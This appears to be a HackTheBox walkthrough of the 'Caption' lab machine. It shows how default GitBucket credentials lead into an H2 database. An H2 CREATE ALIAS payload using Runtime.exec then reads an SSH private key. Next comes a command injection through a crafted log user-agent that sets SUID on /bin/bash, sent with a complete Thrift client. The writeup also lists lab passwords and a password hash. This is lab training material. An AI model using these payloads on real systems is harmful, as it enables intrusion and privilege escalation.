Caption

📅 Last Updated: Jul 08, 2025 07:14 | 📄 Size: 7.2 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

d1, Recon port scan 22/tcp ssh 80/tcp http redirect to http://caption.htb 8080/tcp http-proxy By enumerate the web-contents, we find something interesting: for port 80, there is only the Caption Portal Login page, but we don't have any credit. for port 8080, we find a path /root we can find its role in GitBucket, but we could not find anything from that.

Besides that ,we still don't have any credit to login.

So crazy, when I try to use the default credit root:root, we successfully login. Then we can find two repositories root/Logservice and root/Caption-Portal and we need to enumerate all the configs and find some useful credit.

I guess there would be another sub-domain for the service Logservice. Very sad, there is nothing useful.

From User management, we find the version

|GITBUCKET_VERSION|4.40.0|
|GITBUCKET_HOME|/home/margo/.gitbucket|
|DATABASE_URL|jdbc:h2:/home/margo/.gitbucket/data;MVCC=true<br><br>GitBucket is using the embedded H2 database. It's recommended that you [configure GitBucket to use an external database](https://github.com/gitbucket/gitbucket/wiki/External-database-configuration) if you're running GitBucket in a production environment.|

And we find another interesting page http://caption.htb:8080/admin/dbviewer We can check the database from this page.

|USER_NAME|MAIL_ADDRESS|PASSWORD|ADMINISTRATOR|URL|REGISTERED_DATE|UPDATED_DATE|LAST_LOGIN_DATE|IMAGE|GROUP_ACCOUNT|FULL_NAME|REMOVED|DESCRIPTION|
|---|---|---|---|---|---|---|---|---|---|---|---|---|
|root|root@caption.htb|$pbkdf2-sha256$100000$O5zdxA5m9ZtnSSMnUfXK4zw9j/8WgKxo9ItXxVIPw3s=$xUd/Zorr75r/yWR9IXkW7TJlLXuEH+3U1uMAm37cBMk=|true|http://caption.htb|2024-03-08 03:01:05.0|2024-03-08 04:16:07.215|2024-09-15 07:54:33.255|<NULL>|false|Administrator|false|clob1: 'Caption Networks'|


|gitbucket-core|4.40.0|
|gist|4.23.0|
|emoji|4.6.0|
|notifications|1.11.0|
|pages|1.10.0|

So I guess it would be our credit hash $pbkdf2-sha256$100000$O5zdxA5m9ZtnSSMnUfXK4zw9j/8WgKxo9ItXxVIPw3s=$xUd/Zorr75r/yWR9IXkW7TJlLXuEH+3U1uMAm37cBMk= Or it would be just root:root

But come to the DATABASE_URL, we find h2 database.This kind of database would be always exploited easily by sql injections.

Then we can create the valid payload to help us to RCE (Good resource: `https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/')

CREATE ALIAS REVEXEC AS $$ 
String shellexec(String cmd) throws java.io.IOException { 
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec(cmd).getInputStream()
    ).useDelimiter("\\A"); 
    return s.hasNext() ? s.next() : ""; 
} 
$$;

CALL REVEXEC('cat /home/margo/.ssh/id_ecdsa ');

Then we can get our id_rsa (ssh credit).

2, shell as root Firstly we need to check the net state(verify the applications in gitbucket)

netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1310/java           
tcp        0      0 127.0.0.1:6082          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6081          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3923          0.0.0.0:*               LISTEN      1311/python3        
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      1312/python3        
tcp6       0      0 :::22                   :::*                    LISTEN      -  

127.0.0.1:8000 is the [Caption-Portal] application 127.0.0.1:9090 is the [Logservice] application

- func main() {
-     handler := &LogServiceHandler{}
-     processor := log_service.NewLogServiceProcessor(handler)
-     transport, err := thrift.NewTServerSocket(":9090")
-     if err != nil {
-         log.Fatalf("Error creating transport: %v", err)
-     }

-     server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
-     log.Println("Starting the server...")
-     if err := server.Serve(); err != nil {
-         log.Fatalf("Error occurred while serving: %v", err)
-     }
- }

So if we want to check it, we need to Port forwarding ssh -i id_rsa margo@10.10.11.33 -L 9090:localhost:9090

I forget this is a log analysis service, and don't have the web pages.

Let's continue checking the app/app.py and we found the credit of margo and admin

username == 'margo' and password == 'vFr&cS2#0!'
username == 'admin' and password == 'cFgjE@0%l0'

Although we use them to login to the service of port 80, but there is still nothing for us and we can not check sudo -l or switch to another user ruth

The way to root is using thrift client and leverage the LogService rce: (https://thrift.apache.org/tutorial/py.html) Steps: 1.Setup port forwarding: ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb

2.Now on the remote machine: Create a file called: /tmp/malicious.log Edit file to include: 127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"

Create another file: /tmp/payload.sh Edit file to include: chmod +s /bin/bash

3.Switch to local machine: create a file called: log_service.thrift Edit file to include:

namespace go log_service

service LogService {
    string ReadLogFile(1: string filePath)
}

Make sure thrift is installed and run: thrift -r --gen py log_service.thrift

cd gen-py create file called: client.py

edit file with:

from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService  # Import generated Thrift client code

def main():
    # Set up a transport to the server
    transport = TSocket.TSocket('localhost', 9090)

    # Buffering for performance
    transport = TTransport.TBufferedTransport(transport)

    # Using a binary protocol
    protocol = TBinaryProtocol.TBinaryProtocol(transport)

    # Create a client to use the service
    client = LogService.Client(protocol)

    # Open the connection
    transport.open()

    try:
        # Specify the log file path to process
        log_file_path = "/tmp/malicious.log"
       
        # Call the remote method ReadLogFile and get the result
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
   
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")

    # Close the transport
    transport.close()

if __name__ == '__main__':
    main()

4.Root shell is then via /bin/bash -p.